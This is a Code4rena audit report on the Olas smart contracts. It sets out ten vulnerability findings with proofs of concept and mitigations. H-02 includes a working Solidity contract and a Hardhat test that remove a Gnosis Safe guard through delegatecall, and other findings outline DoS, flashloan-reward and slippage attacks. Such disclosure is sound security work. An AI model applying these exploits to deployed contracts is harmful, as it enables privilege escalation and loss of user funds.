

Olas

Smart Contract Security Assessment

Audit dates: Dec 21, 2023 — Jan 08, 2024

Overview

About C4

Code4rena (C4) is an open organization consisting of security researchers, auditors, developers, and individuals with domain expertise in smart contracts.

A C4 audit is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.

During the audit outlined in this document, C4 conducted an analysis of the Olas smart contract system written in Solidity. The audit took place between December 21—January 8 2024.

Wardens

39 Wardens contributed reports to the Olas:

1. [EV_om](#)
2. [hash](#)
3. [erebus](#)
4. [BugzyVonBuggernaut](#)
5. [hunter_w3b](#)
6. [c0pp3rscr3w3r](#)
7. [HChang26](#)
8. [lllllll](#)
9. [lsaudit](#)
10. [OxAnah](#)
11. [Sathish9098](#)
12. [OxTheCOder](#)
13. [peanuts](#)
14. [joaovwfreire](#)
15. [oakcobalt](#)
16. [pavankv](#)
17. [windowhan001](#)
18. [adeolu](#)
19. [thank_you](#)
20. [OxA5DF](#)
21. [7ashraf](#)
22. [slvDev](#)
23. [Ox1lsingh99](#)

24. [JCK](#)
25. [naman1778](#)
26. [c3phas](#)
27. [Raihan](#)
28. [alphacipher](#)
29. [cheatc0d3](#)
30. [immeas](#)
31. [SpicyMeatball](#)
32. [imare](#)
33. [para8956](#)
34. [trachev](#)
35. [lil_eth](#)
36. [OxMilenov](#)
37. [Bauchibred](#)
38. [rvierdiiev](#)
39. [Kaysoft](#)

This audit was judged by [LSDan](#).

Final report assembled by PaperParachute.

Summary

The C4 analysis yielded an aggregated total of 10 unique vulnerabilities. Of these vulnerabilities, 5 received a risk rating in the category of HIGH severity and 5 received a risk rating in the category of MEDIUM severity.

Additionally, C4 analysis included 25 reports detailing issues with a risk rating of LOW severity or non-critical. There were also 11 reports recommending gas optimizations.

All of the issues presented here are linked back to their original finding.

Scope

The code under review can be found within the [C4 OIas repository](#), and is composed of 43 smart contracts written in the Solidity programming language and includes 3817 lines of Solidity code.

Severity Criteria

C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/non-critical.

High-level considerations for vulnerabilities span the following key areas when conducting assessments:

- Malicious Input Handling
- Escalation of privileges
- Arithmetic
- Gas use

For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on [the C4 website](#), specifically our section on [Severity Categorization](#).

High Risk Findings (5)

[H-01] Permanent DOS in `liquidity_lockbox` for under \$10

Submitted by [EV_om](#)

https://github.com/code-423n4/2023-12-autonolas/blob/main/lockbox-solana/solidity/liquidity_lockbox.sol#L54

https://github.com/code-423n4/2023-12-autonolas/blob/main/lockbox-solana/solidity/liquidity_lockbox.sol#L181-L184

The `liquidity_lockbox` contract in the `lockbox-solana` project is vulnerable to permanent DOS due to its storage limitations. The contract uses a Program Derived Address (PDA) as a data account, which is created with a maximum size limit of 10 KB.

Every time the `deposit()` function is called, a new element is added to `positionAccounts`, `mapPositionAccountPdaAta`, and `mapPositionAccountLiquidity`, which decreases the available storage by $64 + 32 + 32 = 128$ bits. This means that the contract will run out of space after at most $80000 / 128 = 625$ deposits.

Once the storage limit is reached, no further deposits can be made, effectively causing a permanent DoS condition. This could be exploited by an attacker to block the contract's functionality at a very small cost.

Proof of Concept

An attacker can cause a permanent DoS of the contract by calling `deposit()` with the minimum position size only 625 times. This will fill up the storage limit of the PDA, preventing any further deposits from being made.

Since neither the contract nor seemingly Orca's pool contracts impose a limitation on the minimum position size, this can be achieved at a very low cost of $625 * \text{dust} * \text{transaction fees}$:



Recommended Mitigation Steps

The maximum size of a PDA is 10 KiB on creation, only slightly larger than the current allocated space of 10 KB. The Solana SDK does provide a method to resize a data account ([source](#)), but this functionality isn't currently implemented in Solang ([source](#)).

A potential solution to this issue is to use an externally created account as a data account, which can have a size limit of up to 10 MiB, as explained in this [StackExchange post](#).

Alternatively, free up space by [clearing](#) the aforementioned variables in storage for withdrawn positions.

However, a more prudent security recommendation would be to leverage the Solana SDK directly, despite the potential need for contract reimplementation and the learning curve associated with Rust. The Solana SDK offers greater flexibility and is less likely to introduce unforeseen vulnerabilities. Solang, while a valuable tool, is still under active development and will usually lag behind the SDK, which could inadvertently introduce complexity and potential vulnerabilities due to compiler discrepancies.

[kupermind \(Olas\) confirmed](#)

[\[H-02\] CM can `delegatecall` to any address and bypass all restrictions](#)

Submitted by [EV_om](#)

The [GuardCM](#) contract is designed to restrict the Community Multisig (CM) actions within the protocol to only specific contracts and methods. This is achieved by implementing a [checkTransaction\(\)](#) method, which is invoked by the CM GnosisSafe [before every transaction](#). When GuardCM is not paused, the implementation restricts calls to the `schedule()` and `scheduleBatch()` methods in the timelock to only specific targets and selectors, performs additional checks on calls forwarded to the L2s and blocks self-calls on the CM itself, which prevents it from unilaterally removing the guard:

```
    if (to == owner) {
        // No delegatecall is allowed
        if (operation == Enum.Operation.DelegateCall) {
            revert NoDelegateCall();
        }

        // Data needs to have enough bytes at least to fit the
selector
        if (data.length < SELECTOR_DATA_LENGTH) {
            revert IncorrectDataLength(data.length,
SELECTOR_DATA_LENGTH);
        }

        // Get the function signature
        bytes4 functionSig = bytes4(data);
        // Check the schedule or scheduleBatch function
authorized parameters
        // All other functions are not checked for
        if (functionSig == SCHEDULE || functionSig ==
SCHEDULE_BATCH) {
            // Data length is too short: need to have enough
bytes for the schedule() function
            // with one selector extracted from the payload
            if (data.length < MIN_SCHEDULE_DATA_LENGTH) {
                revert IncorrectDataLength(data.length,
MIN_SCHEDULE_DATA_LENGTH);
            }

            _verifySchedule(data, functionSig);
        }
    } else if (to == multisig) {
        // No self multisig call is allowed
        revert NoSelfCall();
    }
}
```

However, a critical oversight in the current implementation allows the CM to perform `delegatecalls` to any address but the timelock. As can be seen above, `DelegateCall` operations are only disallowed when the target is the timelock (represented by the `owner` variable). What this effectively means is that the CM cannot run any `Timelock` function in its own context, but it can `delegatecall` to any other contract and hence execute arbitrary code. This allows it to trivially bypass the guard by delegating to a contract that removes the guard variable from the CM's storage.

The CM holds all privileged roles within the timelock, which is in turn the protocol's owner. This means that the CM can potentially gain unrestricted control over the entire protocol. As such, this vulnerability represents a significant risk of privilege escalation and is classified as high severity.

Proof of Concept

We can validate the vulnerability through an additional test case for the `GuardCM.js` test suite. This test case will simulate the exploit scenario and confirm the issue by performing the following actions:

1. It sets up the guard using the `setGuard` function with the appropriate parameters.
2. It attempts to execute an unauthorized call via `delegatecall` to the timelock, which should be reverted by the guard as expected.
3. It deploys an exploit contract, which contains a function to delete the guard storage.
4. It calls the `deleteGuardStorage` function through a `delegatecall` from the CM, which will remove the guard variable from the safe's storage.
5. It repeats the unauthorized call from step 2. This time, the call succeeds, indicating that the guard has been bypassed.

A simple exploit contract could look as follows:

```
pragma solidity ^0.8.0;

contract DelegatecallExploitContract {
    bytes32 internal constant GUARD_STORAGE_SLOT =
        0x4a204f620c8c5ccdca3fd54d003badd85ba500436a431f0cbda4f558c93c34c8;

    function deleteGuardStorage() public {
        assembly {
            sstore(GUARD_STORAGE_SLOT, 0)
        }
    }
}
```

And the test:

```

        it("CM can remove guard through delegatecall", async function ()
{
    // Setting the CM guard
    let nonce = await multisig.nonce();
    let txHashData = await
safeContracts.buildContractCall(multisig, "setGuard", [guard.address],
nonce, 0, 0);
    let signMessageData = new Array();
    for (let i = 1; i <= safeThreshold; i++) {
        signMessageData.push(await
safeContracts.safeSignMessage(signers[i], multisig, txHashData, 0));
    }
    await safeContracts.executeTx(multisig, txHashData,
signMessageData, 0);

    // Attempt to execute an unauthorized call
    let payload = treasury.interface.encodeFunctionData("pause");
    nonce = await multisig.nonce();
    txHashData = await safeContracts.buildContractCall(timelock,
"schedule", [treasury.address, 0, payload,
Bytes32Zero, Bytes32Zero, 0], nonce, 0, 0);
    for (let i = 0; i < safeThreshold; i++) {
        signMessageData[i] = await
safeContracts.safeSignMessage(signers[i+1], multisig, txHashData, 0);
    }
    await expect(
        safeContracts.executeTx(multisig, txHashData,
signMessageData, 0)
    ).to.be.reverted;

    // Deploy and delegatecall to exploit contract
    const DelegatecallExploitContract = await
ethers.getContractFactory("DelegatecallExploitContract");
    const exploitContract = await
DelegatecallExploitContract.deploy();
    await exploitContract.deployed();
    nonce = await multisig.nonce();
    txHashData = await
safeContracts.buildContractCall(exploitContract, "deleteGuardStorage",
[], nonce, 1, 0);
    for (let i = 0; i < safeThreshold; i++) {
        signMessageData[i] = await
safeContracts.safeSignMessage(signers[i+1], multisig, txHashData, 0);
    }
    await safeContracts.executeTx(multisig, txHashData,
signMessageData, 0);

```



```

        // Unauthorized call succeeds since we have removed the guard
        nonce = await multisig.nonce();
        txHashData = await safeContracts.buildContractCall(timelock,
"schedule", [treasury.address, 0, payload,
        Bytes32Zero, Bytes32Zero, 0], nonce, 0, 0);
        for (let i = 0; i < safeThreshold; i++) {
            signMessageData[i] = await
safeContracts.safeSignMessage(signers[i+1], multisig, txHashData, 0);
        }
        await safeContracts.executeTx(multisig, txHashData,
signMessageData, 0);
    });

```

To run the exploit test:

- Save the exploit contract somewhere under the governance directory as DelegatecallExploitContract.sol.
- Add the test to the "Timelock manipulation via the CM" context in governance/test/GuardCM.js and run it using the command `npx hardhat test --grep "CM cannot bypass guard through delegatecall"`. This will run the test above, which should demonstrate the exploit by successfully making an unauthorized call after the guard has been bypassed.

Tools Used

Hardhat

Recommended Mitigation Steps

Disallow delegatecalls entirely:

```

@@ -397,15 +397,14 @@ contract GuardCM {
    bytes memory,
    address
) external {
+    // No delegatecall is allowed
+    if (operation == Enum.Operation.DelegateCall) {
+        revert NoDelegateCall();
+    }
    // Just return if paused
    if (paused == 1) {
        // Call to the timelock
        if (to == owner) {
-        // No delegatecall is allowed

```

```

-         if (operation == Enum.Operation.DelegateCall) {
-             revert NoDelegateCall();
-         }
-
// Data needs to have enough bytes at least to fit the
selector
        if (data.length < SELECTOR_DATA_LENGTH) {

```

[kupermind \(Olas\) confirmed:](#)

kupermind (sponsor) confirmed

[H-03] Wrong invocation of Whirpools's updateFeesAndRewards will cause it to always revert

Submitted by [hash](#)

Deposits will be unwithdrawable from the lockbox.

Proof of Concept

If the entire liquidity of a position has been removed, the withdraw function calls the updateFeesAndRewards function on the Orca pool before attempting to close the position.

https://github.com/code-423n4/2023-12-autonolas/blob/2a095eb1f8359be349d23af67089795fb0be4ed1/lockbox-solana/solidity/liquidity_lockbox.sol#L277-L293

```

function withdraw(uint64 amount) external {
    address positionAddress =
positionAccounts[firstAvailablePositionAccountIndex];

    .....

    uint64 positionLiquidity =
mapPositionAccountLiquidity[positionAddress];

    .....

    uint64 remainder = positionLiquidity - amount;

    .....

    if (remainder == 0) {
        // Update fees for the position

```

```

        AccountMeta[4] metasUpdateFees = [
            AccountMeta({pubkey: pool, is_writable: true, is_signer:
false}),
            AccountMeta({pubkey: positionAddress, is_writable: true,
is_signer: false}),
            AccountMeta({pubkey: tx.accounts.tickArrayLower.key,
is_writable: false, is_signer: false}),
            AccountMeta({pubkey: tx.accounts.tickArrayUpper.key,
is_writable: false, is_signer: false})
        ];
        whirlpool.updateFeesAndRewards{accounts: metasUpdateFees,
seeds: [[pdaProgramSeed, pdaBump]]}();

```

This is faulty as the updateFeesAndRewards function will always revert if the position's liquidity is 0.

<https://github.com/code-423n4/2023-12-autonolas/blob/2a095eb1f8359be349d23af67089795fb0be4ed1/lockbox-solana/solidity/interfaces/whirlpool.sol#L198>

Whirlpool source code:

[update_fees_and_rewards](#) -> [calculate_fee_and_reward_growths](#) -> [_calculate_modify_liquidity](#)

https://github.com/orca-so/whirlpools/blob/3206c9cdfbf27c73c30cbcf5b6df2929cbf87618/programs/whirlpool/src/manager/liquidity_manager.rs#L97-L99

```

fn _calculate_modify_liquidity(
    whirlpool: &Whirlpool,
    position: &Position,
    tick_lower: &Tick,
    tick_upper: &Tick,
    tick_lower_index: i32,
    tick_upper_index: i32,
    liquidity_delta: i128,
    timestamp: u64,
) -> Result<ModifyLiquidityUpdate> {
    // Disallow only updating position fee and reward growth when
    position has zero liquidity
    if liquidity_delta == 0 && position.liquidity == 0 {
        return Err(ErrorCode::LiquidityZero.into());
    }
}

```

Since the withdrawal positions are chosen sequentially, only a maximum of (first position's liquidity - 1) amount of liquidity can be withdrawn.

POC Test

<https://gist.github.com/10xhash/a687ef66de8210444a41360b86ed4bca>

Recommended Mitigation Steps

Avoid the `update_fees_and_rewards` call completely since fees and rewards would be updated in the `decreaseLiquidity` call.

[kupermind commented](#):

We have changed the order of operations in our rust program indeed, and it works there. Verified the order of instructions provided here and it fails if the remainder is zero.

Note: See full discussion [here](#).

[\[H-04\] Bonds created in year cross epoch's can lead to lost payouts](#)

Submitted by [hash](#), also found by [cOpp3rscr3w3r](#), [HChang26](#), and [OxTheC0der](#)

<https://github.com/code-423n4/2023-12-autonolas/blob/2a095eb1f8359be349d23af67089795fb0be4ed1/tokenomics/contracts/TOKENOMICS.sol#L1037-L1038>

<https://github.com/code-423n4/2023-12-autonolas/blob/2a095eb1f8359be349d23af67089795fb0be4ed1/governance/contracts/OLAS.sol#L75-L84>

Bond depositors and agent/component owner's may never receive the payout Olas. Incorrect inflation control.

Proof of Concept

`effectiveBond` is used to account how much of Olas is available for bonding. This includes Olas that are to be minted in the current epoch ie. `effectiveBond` will include the Olas partitioned for bonding in epoch 5 at the beginning of epoch 5 itself. In case of epoch's crossing YEAR intervals, a portion of the Olas would actually only be mintable in the next year due to the yearwise inflation control enforced at the mint (after 9 years due to fixed supply till 10 years). Due to silent reverts, this can lead to lost Olas payouts

The inflation for bonds are accounted using the `effectiveBond` variable.

<https://github.com/code-423n4/2023-12-autonolas/blob/2a095eb1f8359be349d23af67089795fb0be4ed1/tokenomics/contracts/TOKENOMICS.sol#L609-L617>

```

function reserveAmountForBondProgram(uint256 amount) external returns
(bool success) {

    .....

    // Effective bond must be bigger than the requested amount
    uint256 eBond = effectiveBond;
    if (eBond >= amount) {

        eBond -= amount;
        effectiveBond = uint96(eBond);
        success = true;
        emit EffectiveBondUpdated(eBond);
    }
}

```

This variable is updated with the estimated bond OIas at the beginning of an epoch itself.

<https://github.com/code-423n4/2023-12-autonolas/blob/2a095eb1f8359be349d23af67089795fb0be4ed1/tokenomics/contracts/TOKENOMICS.sol#L1037-L1038>

```

function checkpoint() external returns (bool) {

    .....

    // Update effectiveBond with the current or updated maxBond value
    curMaxBond += effectiveBond;
    effectiveBond = uint96(curMaxBond);
}

```

In case of epochs crossing YEAR intervals after 9 years, the new OIas amount will not be fully mintable in the same year due to the inflation control check enforced in the OIas contract.

<https://github.com/code-423n4/2023-12-autonolas/blob/2a095eb1f8359be349d23af67089795fb0be4ed1/governance/contracts/OIas.sol#L75-L84>

```

function mint(address account, uint256 amount) external {

    ....

    // Check the inflation schedule and mint
    if (inflationControl(amount)) {

```

```

        _mint(account, amount);
    }

```

Whenever a deposit is made on a bond, the required OIas is minted by the treasury and transferred to the Depository contract, from where the depositor claims the payout after the vesting time. `OIas.sol` doesn't revert for inflation check failure but fails silently. This can cause a deposit to succeed but corresponding redeem to fail since payout OIas has not been actually minted. It can also happen that agent/component owner's who have not claimed the topup OIas amount will lose their reward due to silent return when minting their reward.

Example

- Year 10, 1 month left for Year 11.
- All OIas associated with previous epochs have been minted.
- New epoch of 2 months is started, 1 month in Year 10 and 1 month in Year 11.
- Total OIas for the epoch, t = year 10 1 month inflation + year 11 1 month inflation.

Year 10 1 month inflation (y_{10m1}) = $(1_000_000_000e18 * 2 / 100 / 12)$

Year 11 1 month inflation (y_{11m1}) = $(1_020_000_000e18 * 2 / 100 / 12)$ $t = y_{10m1} + y_{11m1}$

- OIas bond percentage = 50%
- Hence $\text{effectiveBond} = t/2$
- But actual mintable remaining in year 0, $m = y_{10m1} < \text{effectiveBond}$
- A bond is created with supply == effectiveBond
- User's deposit for the entire bond supply but only y_{10m1} OIas can be minted.
Depending on the nature of deposits, the actual amount minted can vary from 0 to y_{10m1} . In case of unminted amounts (as rewards of agent/component owner's etc.) at Year 10, this amount can be minted for bond deposits following which if agent/component owners claim within the year, no OIas will be received by them.
- Users lose their OIas payout.

POC Test

<https://gist.github.com/10xhash/2157c1f2cdc9513b3f0a7f359a65015e>

Recommended Mitigation Steps

In case of multi-year epochs, separate bond amounts of next year.

[kupermind \(OIas\) confirmed](#)

[H-05] Withdrawals can be frozen by creating null deposits

Submitted by [erebus](#), also found by [hash](#) and [BugzyVonBuggeronaut](#)

It won't be possible to withdraw any LP token after doing a deposit of \$0\$ liquidity, leading to withdrawals being effectively frozen.

Proof of Concept

In [liquidity_lockbox, function withdraw](#)

```
...

uint64 positionLiquidity =
mapPositionAccountLiquidity[positionAddress];
// Check that the token account exists
if (positionLiquidity == 0) {
    revert("No liquidity on a provided token account");
}

...
```

The code checks for the existence of a position via the recorded liquidity. This is a clever idea, as querying a non-existent value from a mapping will return \$0\$. However, in `deposit`, due to a flawed input validation, it is possible to make positions with \$0\$ liquidity as the only check being done is for liquidity to not be higher than `type(uint64).max`:

[liquidity_lockbox, function _getPositionData](#)

```
...

// Check that the liquidity is within uint64 bounds
if (positionData.liquidity > type(uint64).max) {
    revert("Liquidity overflow");
}

...
```

As it will pass the input validation inside `_getPositionData`, the only way for such a tx to revert is in the [transfer/mint](#), which are low-level calls with no checks for success, as stated in my report `Missing checks for failed calls to the token program will corrupt user's positions`.

Due to the reasons above, this deposit with \$0\$ liquidity will be treated as a valid one and will be stored inside the `mapPositionAccountLiquidity` and `positionAccounts` arrays. If we add the fact that withdrawals are done by looping **LINEARLY** through `positionAccounts`:

[liquidity_lockbox, function withdraw](#)

```

function withdraw(uint64 amount) external {
    address positionAddress =
positionAccounts[firstAvailablePositionAccountIndex]; // @audit linear
loop

    ...

    uint64 positionLiquidity =
mapPositionAccountLiquidity[positionAddress];
    // Check that the token account exists
    if (positionLiquidity == 0) { // @audit it will revert here once
it reaches the flawed position
        revert("No liquidity on a provided token account");
    }

    ...

    if (remainder == 0) { // @audit if the liquidity after the orca
call is 0, close the position and ++ the index
        ...

        // Increase the first available position account index
        firstAvailablePositionAccountIndex++; // @audit it won't
reach here as the revert above will roll-back the whole tx
    }
}

```

It can be seen that once it encounters such a "fake" deposit with \$0\$ liquidity provided, it will always revert due to the existence check. As there is no other way to update `firstAvailablePositionAccountIndex` to bypass the flawed position, withdrawals will be completely frozen.

Recommended Mitigation Steps

Just check for the supplied liquidity to not be \$0\$ in

[liquidity_lockbox, function _getPositionData](#)

```

...
+ // Check that the liquidity > 0
+ if (positionData.liquidity == 0) {
+     revert("Liquidity cannot be 0");
+ }

```



```
// Check that the liquidity is within uint64 bounds
if (positionData.liquidity > type(uint64).max) {
    revert("Liquidity overflow");
}

...
```

[mariapiamo \(Olas\) confirmed](#)

Medium Risk Findings (5)

[M-O1] Withdraw amount returned by `_getLiquidityAmountsAndPositions` may be incorrect

Submitted by [EV_om](#), also found by [hash](#), [erebus](#), and [lsaudit](#)

The `getLiquidityAmountsAndPositions()` function in the `liquidity_lockbox` contract is used to calculate the liquidity amounts and positions to be withdrawn for a given total withdrawal amount. It iterates through each deposited position following a FIFO order as shown below:

```
uint64 liquiditySum = 0;
uint32 numPositions = 0;
uint64 amountLeft = 0;

// Get the number of allocated positions
for (uint32 i = firstAvailablePositionAccountIndex; i <
numPositionAccounts; ++i) {
    address positionAddress = positionAccounts[i];
    uint64 positionLiquidity =
mapPositionAccountLiquidity[positionAddress];

    // Increase a total calculated liquidity and a number of
positions to return
    liquiditySum += positionLiquidity;
    numPositions++;

    // Check if the accumulated liquidity is enough to cover the
requested amount
    if (liquiditySum >= amount) {
        amountLeft = liquiditySum - amount;
        break;
    }
}
```

```
}
```

However, there is an error in the calculation of the last position amount when it entails a partial withdrawal. The `amountLeft` variable represents the leftover liquidity in the last position after the user's withdrawals, but it is assigned to the returned amounts as if it represented the amount the user should withdraw:

```
// Adjust the last position, if it was not fully allocated
if (numPositions > 0 && amountLeft > 0) {
    positionAmounts[numPositions - 1] = amountLeft;
}
```

This discrepancy could lead to users withdrawing an incorrect amount if they use `getLiquidityAmountsAndPositions()`, as intended, to obtain positions and amounts to use when calling `withdraw()`. This can result in significant unintended transfer of funds for the user, especially in cases where the last position in `positionAmounts` is of significant size. Given the fact that this issue can occur under normal usage of the contract, this issue is assessed as medium severity.

Proof of Concept

Consider the following step-by-step scenario:

1. Alice has a large amount of bridged tokens.
2. Alice decides to withdraw a small portion of her liquidity. She has written a script that calls `getLiquidityAmountsAndPositions()` to calculate the positions and amounts for the withdrawal and iterates through the returned arrays in a series of calls to `withdraw()`.
3. The `firstAvailablePositionAccountIndex` points to a very large position, which causes `getLiquidityAmountsAndPositions()` to return an amount much larger than Alice intended.
4. Alice unknowingly passes the returned amount to `withdraw` and as a result ends up withdrawing far more tokens than she intended, potentially depleting her liquidity in the contract.

Recommended Mitigation Steps

To fix this issue, the last position amount should be reduced by the remaining amount when the accumulated liquidity is not fully allocated. This can be achieved by changing the assignment operation to a subtraction operation:

```
@@ -374,7 +374,7 @@ contract liquidity_lockbox {
```

```

        // Adjust the last position, if it was not fully allocated
        if (numPositions > 0 && amountLeft > 0) {
-           positionAmounts[numPositions - 1] = amountLeft;
+           positionAmounts[numPositions - 1] -= amountLeft;
        }
    }
}

```

This change ensures that the last position amount is correctly calculated, preventing users from withdrawing an incorrect amount.

[kupermind \(Olas\) confirmed, but disagreed with severity and commented:](#)

@dmvt The bug is related to the view function, and this can't be considered as Medium risk. It's more like informative, and thus we are disputing this.

Not relevant anymore as the code has been completely re-written:

<https://github.com/valory-xyz/lockbox-solana>

[M-02] LP rewards in `liquidity_lockbox` can be arbitrated

Submitted by [EV_om](#)

The `liquidity_lockbox` contract is designed to handle liquidity positions in a specific Orca LP pool. Users can deposit their LP NFTs into the contract, receiving in exchange tokens according to their position size. These tokens are minted with the goal of allowing users to bridge them to Ethereum later on and exchange them for OLAS at a discount.

However, a potential vulnerability arises from the unrestricted nature of the deposit and withdrawal functions. Specifically, a user can deposit a large amount of assets and immediately withdraw all existing positions using the tokens they just received. This sequence of actions can be repeated to continuously exploit the LP rewards system, leading to an unfair distribution of rewards.

The root cause of this issue lies in the `withdraw()` function, which does not have any restrictions or checks that prevent immediate withdrawal after a deposit and pays all accrued LP rewards [to the caller](#).

Proof of Concept

Consider the following scenario:

1. Alice obtains a large amount of tokens either through a [flashloan](#) or by buying them.
2. Alice uses these tokens to open a large position in the Orca pool.
3. Alice deposits the position NFT into the `liquidity_lockbox` contract, receiving a large amount of bridge tokens.

4. Alice withdraws all existing positions using the tokens she just received and receives the LP rewards.
5. Alice closes the received positions in the Orca pool, repays the flashloan (if used) and pockets the rewards.

This sequence of actions can be repeated by Alice to continuously exploit the LP rewards system.

Recommended Mitigation Steps

To mitigate this issue, a possible solution could be to implement a lock-up period for deposited positions. This would prevent users from immediately withdrawing their positions after depositing. Additionally, consider not distributing rewards to the withdrawing user (which will never be fair) and instead collecting them for the protocol.

[kupermind \(Olas\) confirmed](#)

[M-03] Griefing attack on `liquidity_lockbox` withdrawals due to lack of minimum deposit

Submitted by [EV_om](#), also found by [BugzyVonBuggernaut](#)

The `liquidity_lockbox` contract does not enforce a minimum deposit limit. This allows a user to open many positions with minimum liquidity, forcing other users to close these positions one by one in order to withdraw. This could lead to a griefing attack where the transaction cost accounts for a large portion of the withdrawn amount.

While transactions on Solana are cheap and it is difficult to assess the cost of a withdrawal as the external call on line fails, an accumulation of small deposits as portrayed will in any case disrupt contract operations by making substantial fund withdrawals labor-intensive.

The root cause of this issue is the lack of a minimum deposit threshold in the `deposit(.)` function in `lockbox-solana/solidity/liquidity_lockbox.sol`.

Proof of Concept

Consider the following scenario:

1. Alice, a malicious user, opens a large number of positions with minimum liquidity in the `liquidity_lockbox` contract.
2. Bob, a regular user, wants to withdraw his funds. However, he is forced to close Alice's positions one by one due to the lack of a minimum deposit threshold.
3. The transaction cost for Bob becomes a significant portion of the withdrawn amount, making the withdrawal of funds inefficient and costly.

Recommended Mitigation Steps

To mitigate this issue, a minimum deposit threshold should be implemented in the `deposit()` function. This would prevent users from opening positions with minimum liquidity and protect other users from potential griefing attacks. The threshold should be carefully chosen to balance the need for user flexibility and the protection against potential attacks. Additionally, consider implementing a mechanism to batch close positions to further protect against such scenarios.

[kupermind \(Olas\) confirmed](#)

[M-04] Possible DOS when withdrawing liquidity from Solana Lockbox

Submitted by [hash](#)

Possible DOS when withdrawing liquidity from Lockbox.

Proof of Concept

When withdrawing it is required to pass all the associated accounts in the [transaction](#). But among these (`position`, `pdaPositionAccount` and `positionMint`) are dependent on the current modifiable-state of the account ie. if another withdrawal occurs, the required accounts to be passed to the function call might change resulting in a revert.

https://github.com/code-423n4/2023-12-autonolas/blob/2a095eb1f8359be349d23af67089795fb0be4ed1/lockbox-solana/solidity/liquidity_lockbox.sol#L194-L214

```
@mutableAccount(pool)
@account(tokenProgramId)
@mutableAccount(position)
@mutableAccount(userBridgedTokenAccount)
@mutableAccount(pdaBridgedTokenAccount)
@mutableAccount(userWallet)
@mutableAccount(bridgedTokenMint)
@mutableAccount(pdaPositionAccount)
@mutableAccount(userTokenAccountA)
@mutableAccount(userTokenAccountB)
@mutableAccount(tokenVaultA)
@mutableAccount(tokenVaultB)
@mutableAccount(tickArrayLower)
@mutableAccount(tickArrayUpper)
@mutableAccount(positionMint)
@signer(sig)
function withdraw(uint64 amount) external {
    address positionAddress =
    positionAccounts[firstAvailablePositionAccountIndex];
```

```
if (positionAddress != tx.accounts.position.key) {
    revert("Wrong liquidity token account");
}
```

The DOS for a withdrawal can be caused by another user withdrawing before the user's transaction. Due to the possibility to steal fees, attackers would be motivated to frequently call the withdraw method making such a scenario likely.

Recommended Mitigation Steps

To mitigate this it would require a redesign on how the lockbox accepts liquidity. Instead of adding new positions, the lockbox can keep its liquidity in a single position continuously increasing its liquidity for deposits.

[mariapiamo \(Olas\) confirmed](#)

[M-05] Missing slippage protection in `liquidity_lockbox::withdraw`

Submitted by [erebus](#), also found by [windowhan001](#), [oakcobalt](#), [adeolu](#), and [thank_you](#)

Vanilla example of missing slippage protection.

Proof of Concept

As any AMM, Orca implements slippage protections by letting the caller specify the minimum amount of input and output tokens to be used in a given operation, so that if the transaction outputs a value less than the expected ones, it will revert preventing users from incurring in unacceptable losses.

In our situation, we are interested in the `decreaseLiquidity` handler:

`decrease_liquidity`, lines 18 and 19

```
pub fn handler(
    ctx: Context<ModifyLiquidity>,
    liquidity_amount: u128,
    token_min_a: u64,
    token_min_b: u64,
) -> Result<()> {

    ...

    let (delta_a, delta_b) = calculate_liquidity_token_deltas(
        ctx.accounts.whirlpool.tick_current_index,
        ctx.accounts.whirlpool.sqrt_price,
        &ctx.accounts.position,
```

```

        liquidity_delta,
    )?;

    if delta_a < token_min_a {
        return Err(ErrorCode::TokenMinSubceeded.into());
    } else if delta_b < token_min_b {
        return Err(ErrorCode::TokenMinSubceeded.into());
    }

    ...
}

```

The code snippet above calculates the delta variations of the two tokens amount in the given pool and reverts the whole transaction if the calculated amounts are less than the specified ones. However, if we go to:

[liquidity_lockbox, function withdraw](#)

```

    ...

    whirlpool.decreaseLiquidity{accounts: metasDecreaseLiquidity,
seeds: [[pdaProgramSeed, pdaBump]]}(amount, 0, 0);

    ...

```

We see that `token_min_a` and `token_min_b` are hard-coded to `$0$`, meaning that the liquidity decrease operation will accept **ANY** amount in exchange, even `$0$`, leading to a loss of funds as MEV exists in Solana too (see [here](#)). The mathematical reason is that:

$$x \geq 0, \forall x \in [0, 2^{64}-1]$$

So the errors:

```

    if delta_a < token_min_a {
        return Err(ErrorCode::TokenMinSubceeded.into());
    } else if delta_b < token_min_b {
        return Err(ErrorCode::TokenMinSubceeded.into());
    }

```

Won't be triggered as:

```

    if delta_a < token_min_a { // @audit delta_a < 0 => false for all
delta_a, so no error

```

```

        return Err(ErrorCode::TokenMinSubceeded.into());
    } else if delta_b < token_min_b { // @audit delta_b < 0 => false for
al delta_b, so no error
        return Err(ErrorCode::TokenMinSubceeded.into());
    }

    // @audit if token_min_a = token_min_b = 0, then delta_a and delta_b
can be ANY value,
    // @audit even 0, which means total loss of funds is possible

```

Meaning there is no slippage protection at all if called with `token_min_a = token_min_b = 0` (as it's the case with `liquidity_lockblock::withdraw`).

Recommended Mitigation Steps

Let users provide the minimum amount of tokens they are willing to use as function arguments and pass them straight to `decreaseLiquidity` like:

```

-   function withdraw(uint64 amount) external {
+   function withdraw(uint64 amount, uint64 minA, uint64 minB) external {

        ...

-       whirlpool.decreaseLiquidity{accounts: metasDecreaseLiquidity,
seeds: [[pdaProgramSeed, pdaBump]]}(amount, 0, 0);
+       whirlpool.decreaseLiquidity{accounts: metasDecreaseLiquidity,
seeds: [[pdaProgramSeed, pdaBump]]}(amount, minA, minB);

        ...
    }

```

[mariapiamo \(Olas\) confirmed, but disagreed with severity](#)

[LSDan \(Judge\) decreased severity to Medium](#)

Low Risk and Non-Critical Issues

For this audit, 25 reports were submitted by wardens detailing low risk and non-critical issues. The [report highlighted below](#) by `lllllll` received the top score from the judge.

The following wardens also submitted reports: [Zashraf](#), [slvDev](#), [OxA5DF](#), [Isaudit](#), [cheatc0d3](#), [EV_om](#), [immeas](#), [SpicyMeatball](#), [hash](#), [Ox1lsingh99](#), [oakcobalt](#), [erebus](#), [imare](#), [para8956](#), [trachev](#), [lil_eth](#), [peanuts](#), [OxMilenov](#), [Bauchibred](#), [OxTheC0der](#), [Sathish9098](#), [joaovwfreire](#), [rvierdiiev](#), and [Kaysoft](#).

Note: I've removed the instances reported by the winning bot and 4naly3er.

Summary

Non-critical Issues

NUMBER	ISSUE	INSTANCES
[N-01]	<code>else</code> -block not required	1
[N-02]	<code>public</code> functions not called by the contract should be declared <code>external</code> instead	2
[N-03]	Common functions should be refactored to a common base contract	8
[N-04]	Consider making contracts <code>Upgradeable</code>	22
